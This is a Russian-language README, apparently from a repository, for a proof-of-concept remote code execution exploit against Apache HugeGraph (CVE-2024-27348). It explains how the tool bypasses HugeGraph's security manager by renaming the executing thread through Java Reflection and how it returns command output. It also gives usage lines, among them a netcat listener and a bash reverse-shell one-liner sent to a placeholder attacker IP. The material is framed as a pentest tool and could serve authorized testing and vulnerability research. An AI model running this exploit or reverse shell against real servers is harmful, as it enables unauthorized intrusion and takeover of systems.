CVE-2024-27348: Apache HugeGraph RCE (Обход расширенной песочницы)

Продвинутый, высоконадёжный эксплойт Proof of Concept (PoC) для CVE-2024-27348 (удалённое выполнение кода в Apache HugeGraph Server).

В отличие от многих публичных PoC, которые выполняют команды вслепую или не справляются со сложными полезными нагрузками из-за ограничений Runtime.exec() в Java, этот скрипт разработан для надёжности в реальных сценариях пентеста.

⚠️ Отказ от ответственности

Только для образовательных целей и авторизованного тестирования. Данный инструмент предоставляется исследователям безопасности, пентестерам и системным администраторам для проверки уязвимости в авторизованных средах. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый с помощью этого инструмента.

✨ Особенности и технические улучшения

Данный эксплойт улучшает ранние публичные PoC, решая три критических проблемы:

Обход песочницы HugeSecurityManager: Песочница HugeGraph блокирует выполнение, если имя вызывающего потока содержит gremlin-server-exec-* или task-worker-*. Эта полезная нагрузка использует Java Reflection для динамического переименования потока выполнения в BypassThread перед запуском полезной нагрузки, незаметно обходя менеджер безопасности.
Обработка сложных полезных нагрузок: Вместо Runtime.getRuntime().exec(String), который ломает сложные bash-команды (например, reverse shell) из-за пробелов, этот эксплойт использует ProcessBuilder с правильно отформатированным List<String>. Это позволяет безопасно выполнять сложные полезные нагрузки с кавычками и перенаправлениями.
Полное чтение вывода (не-слепое RCE): Скрипт читает InputStream выполненного процесса с помощью Java Scanner и возвращает фактический вывод команды в JSON-ответе HTTP. Вы видите то же, что и сервер.

⚙️ Требования

Python 3.x
Библиотека requests

Установите необходимые зависимости:

pip3 install requests

🚀 Использование

python3 exploit.py -u <TARGET_URL> -c <COMMAND>

Примеры

Выполнение базовой команды (чтение вывода):

python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "whoami"

Запуск reverse shell: Поскольку полезная нагрузка корректно обрабатывает пробелы и кавычки, вы можете напрямую внедрить стандартный bash reverse shell без необходимости base64-кодирования или промежуточной загрузки:

# На вашей атакующей машине запустите слушатель:
nc -lvnp 4444

# Выполните эксплойт:
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

🔍 Детали уязвимости

Сервер Apache HugeGraph предоставляет конечную точку Gremlin API (/gremlin), которая позволяет пользователям отправлять Groovy-скрипты. Из-за недостаточной изоляции (sandbox) в версиях до исправления неаутентифицированный злоумышленник может выполнять произвольные команды операционной системы с помощью Java Reflection.

CVE-2024-27348-HugeGraph-RCE

Популярное